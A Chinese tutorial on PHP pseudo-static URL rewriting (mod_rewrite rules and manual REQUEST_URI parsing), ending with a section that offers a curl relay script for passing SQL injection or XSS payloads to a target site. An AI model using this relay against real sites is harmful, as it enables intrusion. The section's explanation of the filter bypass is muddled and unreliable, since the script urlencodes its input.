PHP 伪静态技术原理与常见绕过手法详解

伪静态的核心概念

伪静态并非指真正的 HTML 静态文件，而是通过服务器配置或后端脚本将形如 index.php?action=page&id=18 的动态查询字符串转换为更友好、更符合搜索引擎习惯的路径结构，例如 /page-18.html。其本质是将 URL 中的参数提取并重新赋值给 $_GET 等变量供后续业务逻辑处理。

服务器级实现：Apache mod_rewrite

最标准的做法是利用 Web 服务器的重写引擎。该方案对应用代码透明，性能较高。

第 1 步：环境前置检查

确保服务器启用了 mod_rewrite 模块。在 Apache 配置中，需要确认以下指令已开启：

• LoadModule rewrite_module modules/mod_rewrite.so
• 站点配置中允许使用 .htaccess：AllowOverride All

第 2 步：编写重写规则

在项目根目录创建 .htaccess 文件，定义 URL 匹配模式到内部路径的映射。例如将 www.xx.com/page-18.html 转换为原始请求：

RewriteEngine on
RewriteRule ^([a-zA-Z]{1,})-([0-9]{1,}).html$ index.php?action=$1&id=$2 [NC,L]

参数说明：
- ([a-zA-Z]{1,})：捕获字母序列，对应数据库中的 $action。
- ([0-9]{1,})：捕获数字序列，对应数据库中的 $id。
- [NC,L]：忽略大小写且作为最后一条规则执行。

应用级实现：PHP 代码解析路径

当服务器无法修改 Rewrite 规则时，可通过 PHP 读取 $_SERVER['REQUEST_URI'] 手动解析路径信息。

第 3 步：基于 @ 和 | 分隔符解析（兼容旧式写法）

适用于自定义格式如 test.php?id|1@action|2 的请求：

$Php2Html_FileUrl = $_SERVER["REQUEST_URI"];
// 剥离前缀与问号，仅保留核心参数字段串
$Php2Html_UrlString = strrchr(strrchr($Php2Html_FileUrl, "/"), "?");
$Php2Html_UrlQueryStrList = explode("@", $Php2Html_UrlString);

foreach ($Php2Html_UrlQueryStrList as $item) {
    $arr = explode("|", $item);
    if (isset($arr[0]) && isset($arr[1])) {
        $_GET[$arr[0]] = $arr[1];
    }
}

第 4 步：基于斜杠 / 分割解析（Restful 风格）

适用于类似 localhost/php100/test.php/1/2 的结构。此处需剔除文件名后缀，提取剩余部分：

$nav = urldecode($_SERVER["REQUEST_URI"]);
$script = basename($_SERVER["SCRIPT_NAME"]);

// 剔除 test.php 头部
$path = str_replace($script, "", $nav);

// 根据斜杠拆分参数
$vars = explode("/", trim($path, "/"));
// 假设第一列为 id，第二列为 action
$_GET['id']   = intval($vars[0] ?? 0);
$_GET['action'] = intval($vars[1] ?? 0);

第 5 步：正则表达式匹配复杂路径

对于包含固定字符的长路径，直接使用正则提取效率更高。例如解析 /1,100,8630.html：

$pattern = "/\/(\d+),(\d+),(\d+)\.html/si";
if (preg_match($pattern, $_SERVER['PATH_INFO'], $matches)) {
    // $matches[1] 为 gid, [2] 为 sid, [3] 为 softid
}

针对伪静态规则的突破：中间件注入 (Mid-tier Injection)

由于 Web 应用通常直接信任浏览器发来的 URL 参数，攻击者可以尝试构造一个“中间页面”来伪造请求源。即不在前端 URL 进行编码，而是在服务端模拟 curl 请求绕过简单的 XSS 过滤，或触发二次注入。

操作步骤

1. 编写中转脚本： 创建一个接收用户输入并将其拼接进目标 URL 的 PHP 文件 (inj.php)。为防止特殊字符被直接输出，通常需要对特定符号进行替换或保持原样以传递 SQL 注入负载。

<?php
$id = $_GET["target_param"]; // 注入点
// 清理空格等干扰项
$url = "http://target-site.com/inj.php?page=" . urlencode($id);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
?>

2. 实施攻击： 访问中转站并携带恶意 Payload。服务器随后会向真实网站发出带有非法参数的请求，若目标未严格过滤 $id，即可实现 SQL 注入或 Xss 存储。

总结与回顾

无论是借助 Apache 模块还是 PHP 原生解析，伪静态的核心都是将 URL 路径映射回动态参数。这种映射逻辑是安全的薄弱环节，因为开发者容易在处理路径变量时忽视转义或类型校验。在进行安全评估时，理解这些映射规则有助于精准构造注入载荷，而非盲目猜测参数名。